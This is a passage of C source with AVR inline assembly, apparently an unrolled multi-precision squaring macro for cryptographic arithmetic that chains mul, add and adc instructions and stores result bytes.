19365 "adc r29, r25 \n\t" \
19366 "mul r10, r13 \n\t" \
19367 "add r23, r0 \n\t" \
19368 "adc r28, r1 \n\t" \
19369 "adc r29, r25 \n\t" \
19370 "mul r11, r12 \n\t" \
19371 "add r23, r0 \n\t" \
19372 "adc r28, r1 \n\t" \
19373 "adc r29, r25 \n\t" \
19374 "lsl r23 \n\t" \
19375 "rol r28 \n\t" \
19376 "rol r29 \n\t" \
19377 "add r23, r24 \n\t" \
19378 "adc r28, r22 \n\t" \
19379 "adc r29, r25 \n\t" \
19380 "st z+, r23 \n\t" \
19381 \
19382 "ld r2, x+ \n\t" \
19383 "ldi r22, 0 \n\t" \
19384 "mul r3, r21 \n\t" \
19385 "mov r23, r0 \n\t" \
19386 "mov r24, r1 \n\t" \
19387 "mul r4, r20 \n\t" \
19388 "add r23, r0 \n\t" \
19389 "adc r24, r1 \n\t" \
19390 "adc r22, r25 \n\t" \
19391 "mul r5, r19 \n\t" \
19392 "add r23, r0 \n\t" \
19393 "adc r24, r1 \n\t" \
19394 "adc r22, r25 \n\t" \
19395 "mul r6, r18 \n\t" \
19396 "add r23, r0 \n\t" \
19397 "adc r24, r1 \n\t" \
19398 "adc r22, r25 \n\t" \
19399 "mul r7, r17 \n\t" \
19400 "add r23, r0 \n\t" \
19401 "adc r24, r1 \n\t" \
19402 "adc r22, r25 \n\t" \
19403 "mul r8, r16 \n\t" \
19404 "add r23, r0 \n\t" \
19405 "adc r24, r1 \n\t" \
19406 "adc r22, r25 \n\t" \
19407 "mul r9, r15 \n\t" \
19408 "add r23, r0 \n\t" \
19409 "adc r24, r1 \n\t" \
19410 "adc r22, r25 \n\t" \
19411 "mul r10, r14 \n\t" \
19412 "add r23, r0 \n\t" \
19413 "adc r24, r1 \n\t" \
19414 "adc r22, r25 \n\t" \
19415 "mul r11, r13 \n\t" \
19416 "add r23, r0 \n\t" \
19417 "adc r24, r1 \n\t" \
19418 "adc r22, r25 \n\t" \
19419 "ld r0, z \n\t" \
19420 "add r23, r0 \n\t" \
19421 "adc r24, r25 \n\t" \
19422 "adc r22, r25 \n\t" \
19423 "lsl r23 \n\t" \
19424 "rol r24 \n\t" \
19425 "rol r22 \n\t" \
19426 "mul r12, r12 \n\t" \
19427 "add r23, r0 \n\t" \
19428 "adc r24, r1 \n\t" \
19429 "adc r22, r25 \n\t" \
19430 "add r23, r28 \n\t" \
19431 "adc r24, r29 \n\t" \
19432 "adc r22, r25 \n\t" \
19433 "st z+, r23 \n\t" \
19434 \
19435 "ldi r29, 0 \n\t" \
19436 "mul r3, r2 \n\t" \
19437 "mov r23, r0 \n\t" \
19438 "mov r28, r1 \n\t" \
19439 "mul r4, r21 \n\t" \
19440 "add r23, r0 \n\t" \
19441 "adc r28, r1 \n\t" \
19442 "adc r29, r25 \n\t" \
19443 "mul r5, r20 \n\t" \
19444 "add r23, r0 \n\t" \
19445 "adc r28, r1 \n\t" \
19446 "adc r29, r25 \n\t" \
19447 "mul r6, r19 \n\t" \
19448 "add r23, r0 \n\t" \
19449 "adc r28, r1 \n\t" \
19450 "adc r29, r25 \n\t" \
19451 "mul r7, r18 \n\t" \
19452 "add r23, r0 \n\t" \
19453 "adc r28, r1 \n\t" \
19454 "adc r29, r25 \n\t" \
19455 "mul r8, r17 \n\t" \
19456 "add r23, r0 \n\t" \
19457 "adc r28, r1 \n\t" \
19458 "adc r29, r25 \n\t" \
19459 "mul r9, r16 \n\t" \
19460 "add r23, r0 \n\t" \
19461 "adc r28, r1 \n\t" \
19462 "adc r29, r25 \n\t" \
19463 "mul r10, r15 \n\t" \
19464 "add r23, r0 \n\t" \
19465 "adc r28, r1 \n\t" \
19466 "adc r29, r25 \n\t" \
19467 "mul r11, r14 \n\t" \
19468 "add r23, r0 \n\t" \
19469 "adc r28, r1 \n\t" \
19470 "adc r29, r25 \n\t" \
19471 "mul r12, r13 \n\t" \
19472 "add r23, r0 \n\t" \
19473 "adc r28, r1 \n\t" \
19474 "adc r29, r25 \n\t" \
19475 "ld r0, z \n\t" \
19476 "add r23, r0 \n\t" \
19477 "adc r28, r25 \n\t" \
19478 "adc r29, r25 \n\t" \
19479 "lsl r23 \n\t" \
19480 "rol r28 \n\t" \
19481 "rol r29 \n\t" \
19482 "add r23, r24 \n\t" \
19483 "adc r28, r22 \n\t" \
19484 "adc r29, r25 \n\t" \
19485 "st z+, r23 \n\t" \
19486 \
19487 "ld r3, x+ \n\t" \
19488 "ldi r22, 0 \n\t" \
19489 "mul r4, r2 \n\t" \
19490 "mov r23, r0 \n\t" \
19491 "mov r24, r1 \n\t" \
19492 "mul r5, r21 \n\t" \
19493 "add r23, r0 \n\t" \
19494 "adc r24, r1 \n\t" \
19495 "adc r22, r25 \n\t" \
19496 "mul r6, r20 \n\t" \
19497 "add r23, r0 \n\t" \
19498 "adc r24, r1 \n\t" \
19499 "adc r22, r25 \n\t" \
19500 "mul r7, r19 \n\t" \
19501 "add r23, r0 \n\t" \
19502 "adc r24, r1 \n\t" \
19503 "adc r22, r25 \n\t" \
19504 "mul r8, r18 \n\t" \
19505 "add r23, r0 \n\t" \
19506 "adc r24, r1 \n\t" \
19507 "adc r22, r25 \n\t" \
19508 "mul r9, r17 \n\t" \
19509 "add r23, r0 \n\t" \
19510 "adc r24, r1 \n\t" \
19511 "adc r22, r25 \n\t" \
19512 "mul r10, r16 \n\t" \
19513 "add r23, r0 \n\t" \
19514 "adc r24, r1 \n\t" \
19515 "adc r22, r25 \n\t" \
19516 "mul r11, r15 \n\t" \
19517 "add r23, r0 \n\t" \
19518 "adc r24, r1 \n\t" \
19519 "adc r22, r25 \n\t" \
19520 "mul r12, r14 \n\t" \
19521 "add r23, r0 \n\t" \
19522 "adc r24, r1 \n\t" \
19523 "adc r22, r25 \n\t" \
19524 "ld r0, z \n\t" \
19525 "add r23, r0 \n\t" \
19526 "adc r24, r25 \n\t" \
19527 "adc r22, r25 \n\t" \
19528 "lsl r23 \n\t" \
19529 "rol r24 \n\t" \
19530 "rol r22 \n\t" \
19531 "mul r13, r13 \n\t" \
19532 "add r23, r0 \n\t" \
19533 "adc r24, r1 \n\t" \
19534 "adc r22, r25 \n\t" \
19535 "add r23, r28 \n\t" \
19536 "adc r24, r29 \n\t" \
19537 "adc r22, r25 \n\t" \
19538 "st z+, r23 \n\t" \
19539 \
19540 "ldi r29, 0 \n\t" \
19541 "mul r4, r3 \n\t" \
19542 "mov r23, r0 \n\t" \
19543 "mov r28, r1 \n\t" \
19544 "mul r5, r2 \n\t" \
19545 "add r23, r0 \n\t" \
19546 "adc r28, r1 \n\t" \
19547 "adc r29, r25 \n\t" \
19548 "mul r6, r21 \n\t" \
19549 "add r23, r0 \n\t" \
19550 "adc r28, r1 \n\t" \
19551 "adc r29, r25 \n\t" \
19552 "mul r7, r20 \n\t" \
19553 "add r23, r0 \n\t" \
19554 "adc r28, r1 \n\t" \
19555 "adc r29, r25 \n\t" \
19556 "mul r8, r19 \n\t" \
19557 "add r23, r0 \n\t" \
19558 "adc r28, r1 \n\t" \
19559 "adc r29, r25 \n\t" \
19560 "mul r9, r18 \n\t" \
19561 "add r23, r0 \n\t" \
19562 "adc r28, r1 \n\t" \
19563 "adc r29, r25 \n\t" \
19564 "mul r10, r17 \n\t" \
19565 "add r23, r0 \n\t" \
19566 "adc r28, r1 \n\t" \
19567 "adc r29, r25 \n\t" \
19568 "mul r11, r16 \n\t" \
19569 "add r23, r0 \n\t" \
19570 "adc r28, r1 \n\t" \
19571 "adc r29, r25 \n\t" \
19572 "mul r12, r15 \n\t" \
19573 "add r23, r0 \n\t" \
19574 "adc r28, r1 \n\t" \
19575 "adc r29, r25 \n\t" \
19576 "mul r13, r14 \n\t" \
19577 "add r23, r0 \n\t" \
19578 "adc r28, r1 \n\t" \
19579 "adc r29, r25 \n\t" \
19580 "ld r0, z \n\t" \
19581 "add r23, r0 \n\t" \
19582 "adc r28, r25 \n\t" \
19583 "adc r29, r25 \n\t" \
19584 "lsl r23 \n\t" \
19585 "rol r28 \n\t" \
19586 "rol r29 \n\t" \
19587 "add r23, r24 \n\t" \
19588 "adc r28, r22 \n\t" \
19589 "adc r29, r25 \n\t" \
19590 "st z+, r23 \n\t" \
19591 \
19592 "ld r4, x+ \n\t" \
19593 "ldi r22, 0 \n\t" \
19594 "mul r5, r3 \n\t" \
19595 "mov r23, r0 \n\t" \
19596 "mov r24, r1 \n\t" \
19597 "mul r6, r2 \n\t" \
19598 "add r23, r0 \n\t" \
19599 "adc r24, r1 \n\t" \
19600 "adc r22, r25 \n\t" \
19601 "mul r7, r21 \n\t" \
19602 "add r23, r0 \n\t" \
19603 "adc r24, r1 \n\t" \
19604 "adc r22, r25 \n\t" \
19605 "mul r8, r20 \n\t" \
19606 "add r23, r0 \n\t" \
19607 "adc r24, r1 \n\t" \
19608 "adc r22, r25 \n\t" \
19609 "mul r9, r19 \n\t" \
19610 "add r23, r0 \n\t" \
19611 "adc r24, r1 \n\t" \
19612 "adc r22, r25 \n\t" \
19613 "mul r10, r18 \n\t" \
19614 "add r23, r0 \n\t" \
19615 "adc r24, r1 \n\t" \
19616 "adc r22, r25 \n\t" \
19617 "mul r11, r17 \n\t" \
19618 "add r23, r0 \n\t" \
19619 "adc r24, r1 \n\t" \
19620 "adc r22, r25 \n\t" \
19621 "mul r12, r16 \n\t" \
19622 "add r23, r0 \n\t" \
19623 "adc r24, r1 \n\t" \
19624 "adc r22, r25 \n\t" \
19625 "mul r13, r15 \n\t" \
19626 "add r23, r0 \n\t" \
19627 "adc r24, r1 \n\t" \
19628 "adc r22, r25 \n\t" \
19629 "ld r0, z \n\t" \
19630 "add r23, r0 \n\t" \
19631 "adc r24, r25 \n\t" \
19632 "adc r22, r25 \n\t" \
19633 "lsl r23 \n\t" \
19634 "rol r24 \n\t" \
19635 "rol r22 \n\t" \
19636 "mul r14, r14 \n\t" \
19637 "add r23, r0 \n\t" \
19638 "adc r24, r1 \n\t" \
19639 "adc r22, r25 \n\t" \
19640 "add r23, r28 \n\t" \
19641 "adc r24, r29 \n\t" \
19642 "adc r22, r25 \n\t" \
19643 "st z+, r23 \n\t" \
19644 \
19645 "ldi r29, 0 \n\t" \
19646 "mul r5, r4 \n\t" \
19647 "mov r23, r0 \n\t" \
19648 "mov r28, r1 \n\t" \
19649 "mul r6, r3 \n\t" \
19650 "add r23, r0 \n\t" \
19651 "adc r28, r1 \n\t" \
19652 "adc r29, r25 \n\t" \
19653 "mul r7, r2 \n\t" \
19654 "add r23, r0 \n\t" \
19655 "adc r28, r1 \n\t" \
19656 "adc r29, r25 \n\t" \
19657 "mul r8, r21 \n\t" \
19658 "add r23, r0 \n\t" \
19659 "adc r28, r1 \n\t" \
19660 "adc r29, r25 \n\t" \
19661 "mul r9, r20 \n\t" \
19662 "add r23, r0 \n\t" \
19663 "adc r28, r1 \n\t" \
19664 "adc r29, r25 \n\t" \
19665 "mul r10, r19 \n\t" \
19666 "add r23, r0 \n\t" \
19667 "adc r28, r1 \n\t" \
19668 "adc r29, r25 \n\t" \
19669 "mul r11, r18 \n\t" \
19670 "add r23, r0 \n\t" \
19671 "adc r28, r1 \n\t" \
19672 "adc r29, r25 \n\t" \
19673 "mul r12, r17 \n\t" \
19674 "add r23, r0 \n\t" \
19675 "adc r28, r1 \n\t" \
19676 "adc r29, r25 \n\t" \
19677 "mul r13, r16 \n\t" \
19678 "add r23, r0 \n\t" \
19679 "adc r28, r1 \n\t" \
19680 "adc r29, r25 \n\t" \
19681 "mul r14, r15 \n\t" \
19682 "add r23, r0 \n\t" \
19683 "adc r28, r1 \n\t" \
19684 "adc r29, r25 \n\t" \
19685 "ld r0, z \n\t" \
19686 "add r23, r0 \n\t" \
19687 "adc r28, r25 \n\t" \
19688 "adc r29, r25 \n\t" \
19689 "lsl r23 \n\t" \
19690 "rol r28 \n\t" \
19691 "rol r29 \n\t" \
19692 "add r23, r24 \n\t" \
19693 "adc r28, r22 \n\t" \
19694 "adc r29, r25 \n\t" \
19695 "st z+, r23 \n\t" \
19696 \
19697 "ld r5, x+ \n\t" \
19698 "ldi r22, 0 \n\t" \
19699 "mul r6, r4 \n\t" \
19700 "mov r23, r0 \n\t" \
19701 "mov r24, r1 \n\t" \
19702 "mul r7, r3 \n\t" \
19703 "add r23, r0 \n\t" \
19704 "adc r24, r1 \n\t" \
19705 "adc r22, r25 \n\t" \
19706 "mul r8, r2 \n\t" \
19707 "add r23, r0 \n\t" \
19708 "adc r24, r1 \n\t" \
19709 "adc r22, r25 \n\t" \
19710 "mul r9, r21 \n\t" \
19711 "add r23, r0 \n\t" \
19712 "adc r24, r1 \n\t" \
19713 "adc r22, r25 \n\t" \
19714 "mul r10, r20 \n\t" \
19715 "add r23, r0 \n\t" \
19716 "adc r24, r1 \n\t" \
19717 "adc r22, r25 \n\t" \
19718 "mul r11, r19 \n\t" \
19719 "add r23, r0 \n\t" \
19720 "adc r24, r1 \n\t" \
19721 "adc r22, r25 \n\t" \
19722 "mul r12, r18 \n\t" \
19723 "add r23, r0 \n\t" \
19724 "adc r24, r1 \n\t" \
19725 "adc r22, r25 \n\t" \
19726 "mul r13, r17 \n\t" \
19727 "add r23, r0 \n\t" \
19728 "adc r24, r1 \n\t" \
19729 "adc r22, r25 \n\t" \
19730 "mul r14, r16 \n\t" \
19731 "add r23, r0 \n\t" \
19732 "adc r24, r1 \n\t" \
19733 "adc r22, r25 \n\t" \
19734 "ld r0, z \n\t" \
19735 "add r23, r0 \n\t" \
19736 "adc r24, r25 \n\t" \
19737 "adc r22, r25 \n\t" \
19738 "lsl r23 \n\t" \
19739 "rol r24 \n\t" \
19740 "rol r22 \n\t" \
19741 "mul r15, r15 \n\t" \
19742 "add r23, r0 \n\t" \
19743 "adc r24, r1 \n\t" \
19744 "adc r22, r25 \n\t" \
19745 "add r23, r28 \n\t" \
19746 "adc r24, r29 \n\t" \
19747 "adc r22, r25 \n\t" \
19748 "st z+, r23 \n\t" \
19749 \
19750 "ldi r29, 0 \n\t" \
19751 "mul r6, r5 \n\t" \
19752 "mov r23, r0 \n\t" \
19753 "mov r28, r1 \n\t" \
19754 "mul r7, r4 \n\t" \
19755 "add r23, r0 \n\t" \
19756 "adc r28, r1 \n\t" \
19757 "adc r29, r25 \n\t" \
19758 "mul r8, r3 \n\t" \
19759 "add r23, r0 \n\t" \
19760 "adc r28, r1 \n\t" \
19761 "adc r29, r25 \n\t" \
19762 "mul r9, r2 \n\t" \
19763 "add r23, r0 \n\t" \
19764 "adc r28, r1 \n\t" \
19765 "adc r29, r25 \n\t" \
19766 "mul r10, r21 \n\t" \
19767 "add r23, r0 \n\t" \
19768 "adc r28, r1 \n\t" \
19769 "adc r29, r25 \n\t" \
19770 "mul r11, r20 \n\t" \
19771 "add r23, r0 \n\t" \
19772 "adc r28, r1 \n\t" \
19773 "adc r29, r25 \n\t" \
19774 "mul r12, r19 \n\t" \
19775 "add r23, r0 \n\t" \
19776 "adc r28, r1 \n\t" \
19777 "adc r29, r25 \n\t" \
19778 "mul r13, r18 \n\t" \
19779 "add r23, r0 \n\t" \
19780 "adc r28, r1 \n\t" \
19781 "adc r29, r25 \n\t" \
19782 "mul r14, r17 \n\t" \
19783 "add r23, r0 \n\t" \
19784 "adc r28, r1 \n\t" \
19785 "adc r29, r25 \n\t" \
19786 "mul r15, r16 \n\t" \
19787 "add r23, r0 \n\t" \
19788 "adc r28, r1 \n\t" \
19789 "adc r29, r25 \n\t" \
19790 "ld r0, z \n\t" \
19791 "add r23, r0 \n\t" \
19792 "adc r28, r25 \n\t" \
19793 "adc r29, r25 \n\t" \
19794 "lsl r23 \n\t" \
19795 "rol r28 \n\t" \
19796 "rol r29 \n\t" \
19797 "add r23, r24 \n\t" \
19798 "adc r28, r22 \n\t" \
19799 "adc r29, r25 \n\t" \
19800 "st z+, r23 \n\t" \
19801 \
19802 "ld r6, x+ \n\t" \
19803 "ldi r22, 0 \n\t" \
19804 "mul r7, r5 \n\t" \
19805 "mov r23, r0 \n\t" \
19806 "mov r24, r1 \n\t" \
19807 "mul r8, r4 \n\t" \
19808 "add r23, r0 \n\t" \
19809 "adc r24, r1 \n\t" \
19810 "adc r22, r25 \n\t" \
19811 "mul r9, r3 \n\t" \
19812 "add r23, r0 \n\t" \
19813 "adc r24, r1 \n\t" \
19814 "adc r22, r25 \n\t" \
19815 "mul r10, r2 \n\t" \
19816 "add r23, r0 \n\t" \
19817 "adc r24, r1 \n\t" \
19818 "adc r22, r25 \n\t" \
19819 "mul r11, r21 \n\t" \
19820 "add r23, r0 \n\t" \
19821 "adc r24, r1 \n\t" \
19822 "adc r22, r25 \n\t" \
19823 "mul r12, r20 \n\t" \
19824 "add r23, r0 \n\t" \
19825 "adc r24, r1 \n\t" \
19826 "adc r22, r25 \n\t" \
19827 "mul r13, r19 \n\t" \
19828 "add r23, r0 \n\t" \
19829 "adc r24, r1 \n\t" \
19830 "adc r22, r25 \n\t" \
19831 "mul r14, r18 \n\t" \
19832 "add r23, r0 \n\t" \
19833 "adc r24, r1 \n\t" \
19834 "adc r22, r25 \n\t" \
19835 "mul r15, r17 \n\t" \
19836 "add r23, r0 \n\t" \
19837 "adc r24, r1 \n\t" \
19838 "adc r22, r25 \n\t" \
19839 "ld r0, z \n\t" \
19840 "add r23, r0 \n\t" \
19841 "adc r24, r25 \n\t" \
19842 "adc r22, r25 \n\t" \
19843 "lsl r23 \n\t" \
19844 "rol r24 \n\t" \
19845 "rol r22 \n\t" \
19846 "mul r16, r16 \n\t" \
19847 "add r23, r0 \n\t" \
19848 "adc r24, r1 \n\t" \
19849 "adc r22, r25 \n\t" \
19850 "add r23, r28 \n\t" \
19851 "adc r24, r29 \n\t" \
19852 "adc r22, r25 \n\t" \
19853 "st z+, r23 \n\t" \
19854 \
19855 "ldi r29, 0 \n\t" \
19856 "mul r7, r6 \n\t" \
19857 "mov r23, r0 \n\t" \
19858 "mov r28, r1 \n\t" \
19859 "mul r8, r5 \n\t" \
19860 "add r23, r0 \n\t" \
19861 "adc r28, r1 \n\t" \
19862 "adc r29, r25 \n\t" \
19863 "mul r9, r4 \n\t" \
19864 "add r23, r0 \n\t" \
19865 "adc r28, r1 \n\t" \
19866 "adc r29, r25 \n\t" \
19867 "mul r10, r3 \n\t" \
19868 "add r23, r0 \n\t" \
19869 "adc r28, r1 \n\t" \
19870 "adc r29, r25 \n\t" \
19871 "mul r11, r2 \n\t" \
19872 "add r23, r0 \n\t" \
19873 "adc r28, r1 \n\t" \
19874 "adc r29, r25 \n\t" \
19875 "mul r12, r21 \n\t" \
19876 "add r23, r0 \n\t" \
19877 "adc r28, r1 \n\t" \
19878 "adc r29, r25 \n\t" \
19879 "mul r13, r20 \n\t" \
19880 "add r23, r0 \n\t" \
19881 "adc r28, r1 \n\t" \
19882 "adc r29, r25 \n\t" \
19883 "mul r14, r19 \n\t" \
19884 "add r23, r0 \n\t" \
19885 "adc r28, r1 \n\t" \
19886 "adc r29, r25 \n\t" \
19887 "mul r15, r18 \n\t" \
19888 "add r23, r0 \n\t" \
19889 "adc r28, r1 \n\t" \
19890 "adc r29, r25 \n\t" \
19891 "mul r16, r17 \n\t" \
19892 "add r23, r0 \n\t" \
19893 "adc r28, r1 \n\t" \
19894 "adc r29, r25 \n\t" \
19895 "ld r0, z \n\t" \
19896 "add r23, r0 \n\t" \
19897 "adc r28, r25 \n\t" \
19898 "adc r29, r25 \n\t" \
19899 "lsl r23 \n\t" \
19900 "rol r28 \n\t" \
19901 "rol r29 \n\t" \
19902 "add r23, r24 \n\t" \
19903 "adc r28, r22 \n\t" \
19904 "adc r29, r25 \n\t" \
19905 "st z+, r23 \n\t" \
19906 \
19907 "ld r7, x+ \n\t" \
19908 "ldi r22, 0 \n\t" \
19909 "mul r8, r6 \n\t" \
19910 "mov r23, r0 \n\t" \
19911 "mov r24, r1 \n\t" \
19912 "mul r9, r5 \n\t" \
19913 "add r23, r0 \n\t" \
19914 "adc r24, r1 \n\t" \
19915 "adc r22, r25 \n\t" \
19916 "mul r10, r4 \n\t" \
19917 "add r23, r0 \n\t" \
19918 "adc r24, r1 \n\t" \
19919 "adc r22, r25 \n\t" \
19920 "mul r11, r3 \n\t" \
19921 "add r23, r0 \n\t" \
19922 "adc r24, r1 \n\t" \
19923 "adc r22, r25 \n\t" \
19924 "mul r12, r2 \n\t" \
19925 "add r23, r0 \n\t" \
19926 "adc r24, r1 \n\t" \
19927 "adc r22, r25 \n\t" \
19928 "mul r13, r21 \n\t" \
19929 "add r23, r0 \n\t" \
19930 "adc r24, r1 \n\t" \
19931 "adc r22, r25 \n\t" \
19932 "mul r14, r20 \n\t" \
19933 "add r23, r0 \n\t" \
19934 "adc r24, r1 \n\t" \
19935 "adc r22, r25 \n\t" \
19936 "mul r15, r19 \n\t" \
19937 "add r23, r0 \n\t" \
19938 "adc r24, r1 \n\t" \
19939 "adc r22, r25 \n\t" \
19940 "mul r16, r18 \n\t" \
19941 "add r23, r0 \n\t" \
19942 "adc r24, r1 \n\t" \
19943 "adc r22, r25 \n\t" \
19944 "ld r0, z \n\t" \
19945 "add r23, r0 \n\t" \
19946 "adc r24, r25 \n\t" \
19947 "adc r22, r25 \n\t" \
19948 "lsl r23 \n\t" \
19949 "rol r24 \n\t" \
19950 "rol r22 \n\t" \
19951 "mul r17, r17 \n\t" \
19952 "add r23, r0 \n\t" \
19953 "adc r24, r1 \n\t" \
19954 "adc r22, r25 \n\t" \
19955 "add r23, r28 \n\t" \
19956 "adc r24, r29 \n\t" \
19957 "adc r22, r25 \n\t" \
19958 "st z+, r23 \n\t" \
19959 \
19960 "ldi r29, 0 \n\t" \
19961 "mul r8, r7 \n\t" \
19962 "mov r23, r0 \n\t" \
19963 "mov r28, r1 \n\t" \
19964 "mul r9, r6 \n\t" \
19965 "add r23, r0 \n\t" \
19966 "adc r28, r1 \n\t" \
19967 "adc r29, r25 \n\t" \
19968 "mul r10, r5 \n\t" \
19969 "add r23, r0 \n\t" \
19970 "adc r28, r1 \n\t" \
19971 "adc r29, r25 \n\t" \
19972 "mul r11, r4 \n\t" \
19973 "add r23, r0 \n\t" \
19974 "adc r28, r1 \n\t" \
19975 "adc r29, r25 \n\t" \
19976 "mul r12, r3 \n\t" \
19977 "add r23, r0 \n\t" \
19978 "adc r28, r1 \n\t" \
19979 "adc r29, r25 \n\t" \
19980 "mul r13, r2 \n\t" \
19981 "add r23, r0 \n\t" \
19982 "adc r28, r1 \n\t" \
19983 "adc r29, r25 \n\t" \
19984 "mul r14, r21 \n\t" \
19985 "add r23, r0 \n\t" \
19986 "adc r28, r1 \n\t" \
19987 "adc r29, r25 \n\t" \
19988 "mul r15, r20 \n\t" \
19989 "add r23, r0 \n\t" \
19990 "adc r28, r1 \n\t" \
19991 "adc r29, r25 \n\t" \
19992 "mul r16, r19 \n\t" \
19993 "add r23, r0 \n\t" \
19994 "adc r28, r1 \n\t" \
19995 "adc r29, r25 \n\t" \
19996 "mul r17, r18 \n\t" \
19997 "add r23, r0 \n\t" \
19998 "adc r28, r1 \n\t" \
19999 "adc r29, r25 \n\t" \
20000 "ld r0, z \n\t" \
20001 "add r23, r0 \n\t" \
20002 "adc r28, r25 \n\t" \
20003 "adc r29, r25 \n\t" \
20004 "lsl r23 \n\t" \
20005 "rol r28 \n\t" \
20006 "rol r29 \n\t" \
20007 "add r23, r24 \n\t" \
20008 "adc r28, r22 \n\t" \
20009 "adc r29, r25 \n\t" \
20010 "st z+, r23 \n\t" \
20011 \
20012 "ld r8, x+ \n\t" \
20013 "ldi r22, 0 \n\t" \
20014 "mul r9, r7 \n\t" \
20015 "mov r23, r0 \n\t" \
20016 "mov r24, r1 \n\t" \
20017 "mul r10, r6 \n\t" \
20018 "add r23, r0 \n\t" \
20019 "adc r24, r1 \n\t" \
20020 "adc r22, r25 \n\t" \
20021 "mul r11, r5 \n\t" \
20022 "add r23, r0 \n\t" \
20023 "adc r24, r1 \n\t" \
20024 "adc r22, r25 \n\t" \
20025 "mul r12, r4 \n\t" \
20026 "add r23, r0 \n\t" \
20027 "adc r24, r1 \n\t" \
20028 "adc r22, r25 \n\t" \
20029 "mul r13, r3 \n\t" \
20030 "add r23, r0 \n\t" \
20031 "adc r24, r1 \n\t" \
20032 "adc r22, r25 \n\t" \
20033 "mul r14, r2 \n\t" \
20034 "add r23, r0 \n\t" \
20035 "adc r24, r1 \n\t" \
20036 "adc r22, r25 \n\t" \
20037 "mul r15, r21 \n\t" \
20038 "add r23, r0 \n\t" \
20039 "adc r24, r1 \n\t" \
20040 "adc r22, r25 \n\t" \
20041 "mul r16, r20 \n\t" \
20042 "add r23, r0 \n\t" \
20043 "adc r24, r1 \n\t" \
20044 "adc r22, r25 \n\t" \
20045 "mul r17, r19 \n\t" \
20046 "add r23, r0 \n\t" \
20047 "adc r24, r1 \n\t" \
20048 "adc r22, r25 \n\t" \
20049 "ld r0, z \n\t" \
20050 "add r23, r0 \n\t" \
20051 "adc r24, r25 \n\t" \
20052 "adc r22, r25 \n\t" \
20053 "lsl r23 \n\t" \
20054 "rol r24 \n\t" \
20055 "rol r22 \n\t" \
20056 "mul r18, r18 \n\t" \
20057 "add r23, r0 \n\t" \
20058 "adc r24, r1 \n\t" \
20059 "adc r22, r25 \n\t" \
20060 "add r23, r28 \n\t" \
20061 "adc r24, r29 \n\t" \
20062 "adc r22, r25 \n\t" \
20063 "st z+, r23 \n\t" \
20064 \
20065 "ldi r29, 0 \n\t" \
20066 "mul r9, r8 \n\t" \
20067 "mov r23, r0 \n\t" \
20068 "mov r28, r1 \n\t" \
20069 "mul r10, r7 \n\t" \
20070 "add r23, r0 \n\t" \
20071 "adc r28, r1 \n\t" \
20072 "adc r29, r25 \n\t" \
20073 "mul r11, r6 \n\t" \
20074 "add r23, r0 \n\t" \
20075 "adc r28, r1 \n\t" \
20076 "adc r29, r25 \n\t" \
20077 "mul r12, r5 \n\t" \
20078 "add r23, r0 \n\t" \
20079 "adc r28, r1 \n\t" \
20080 "adc r29, r25 \n\t" \
20081 "mul r13, r4 \n\t" \
20082 "add r23, r0 \n\t" \
20083 "adc r28, r1 \n\t" \
20084 "adc r29, r25 \n\t" \
20085 "mul r14, r3 \n\t" \
20086 "add r23, r0 \n\t" \
20087 "adc r28, r1 \n\t" \
20088 "adc r29, r25 \n\t" \
20089 "mul r15, r2 \n\t" \
20090 "add r23, r0 \n\t" \
20091 "adc r28, r1 \n\t" \
20092 "adc r29, r25 \n\t" \
20093 "mul r16, r21 \n\t" \
20094 "add r23, r0 \n\t" \
20095 "adc r28, r1 \n\t" \
20096 "adc r29, r25 \n\t" \
20097 "mul r17, r20 \n\t" \
20098 "add r23, r0 \n\t" \
20099 "adc r28, r1 \n\t" \
20100 "adc r29, r25 \n\t" \
20101 "mul r18, r19 \n\t" \
20102 "add r23, r0 \n\t" \
20103 "adc r28, r1 \n\t" \
20104 "adc r29, r25 \n\t" \
20105 "ld r0, z \n\t" \
20106 "add r23, r0 \n\t" \
20107 "adc r28, r25 \n\t" \
20108 "adc r29, r25 \n\t" \
20109 "lsl r23 \n\t" \
20110 "rol r28 \n\t" \
20111 "rol r29 \n\t" \
20112 "add r23, r24 \n\t" \
20113 "adc r28, r22 \n\t" \
20114 "adc r29, r25 \n\t" \
20115 "st z+, r23 \n\t" \
20116 \
20117 "ld r9, x+ \n\t" \
20118 "ldi r22, 0 \n\t" \
20119 "mul r10, r8 \n\t" \
20120 "mov r23, r0 \n\t" \
20121 "mov r24, r1 \n\t" \
20122 "mul r11, r7 \n\t" \
20123 "add r23, r0 \n\t" \
20124 "adc r24, r1 \n\t" \
20125 "adc r22, r25 \n\t" \
20126 "mul r12, r6 \n\t" \
20127 "add r23, r0 \n\t" \
20128 "adc r24, r1 \n\t" \
20129 "adc r22, r25 \n\t" \
20130 "mul r13, r5 \n\t" \
20131 "add r23, r0 \n\t" \
20132 "adc r24, r1 \n\t" \
20133 "adc r22, r25 \n\t" \
20134 "mul r14, r4 \n\t" \
20135 "add r23, r0 \n\t" \
20136 "adc r24, r1 \n\t" \
20137 "adc r22, r25 \n\t" \
20138 "mul r15, r3 \n\t" \
20139 "add r23, r0 \n\t" \
20140 "adc r24, r1 \n\t" \
20141 "adc r22, r25 \n\t" \
20142 "mul r16, r2 \n\t" \
20143 "add r23, r0 \n\t" \
20144 "adc r24, r1 \n\t" \
20145 "adc r22, r25 \n\t" \
20146 "mul r17, r21 \n\t" \
20147 "add r23, r0 \n\t" \
20148 "adc r24, r1 \n\t" \
20149 "adc r22, r25 \n\t" \
20150 "mul r18, r20 \n\t" \
20151 "add r23, r0 \n\t" \
20152 "adc r24, r1 \n\t" \
20153 "adc r22, r25 \n\t" \
20154 "ld r0, z \n\t" \
20155 "add r23, r0 \n\t" \
20156 "adc r24, r25 \n\t" \
20157 "adc r22, r25 \n\t" \
20158 "lsl r23 \n\t" \
20159 "rol r24 \n\t" \
20160 "rol r22 \n\t" \
20161 "mul r19, r19 \n\t" \
20162 "add r23, r0 \n\t" \
20163 "adc r24, r1 \n\t" \
20164 "adc r22, r25 \n\t" \
20165 "add r23, r28 \n\t" \
20166 "adc r24, r29 \n\t" \
20167 "adc r22, r25 \n\t" \
20168 "st z+, r23 \n\t" \
20169 \
20170 "ldi r29, 0 \n\t" \
20171 "mul r10, r9 \n\t" \
20172 "mov r23, r0 \n\t" \
20173 "mov r28, r1 \n\t" \
20174 "mul r11, r8 \n\t" \
20175 "add r23, r0 \n\t" \
20176 "adc r28, r1 \n\t" \
20177 "adc r29, r25 \n\t" \
20178 "mul r12, r7 \n\t" \
20179 "add r23, r0 \n\t" \
20180 "adc r28, r1 \n\t" \
20181 "adc r29, r25 \n\t" \
20182 "mul r13, r6 \n\t" \
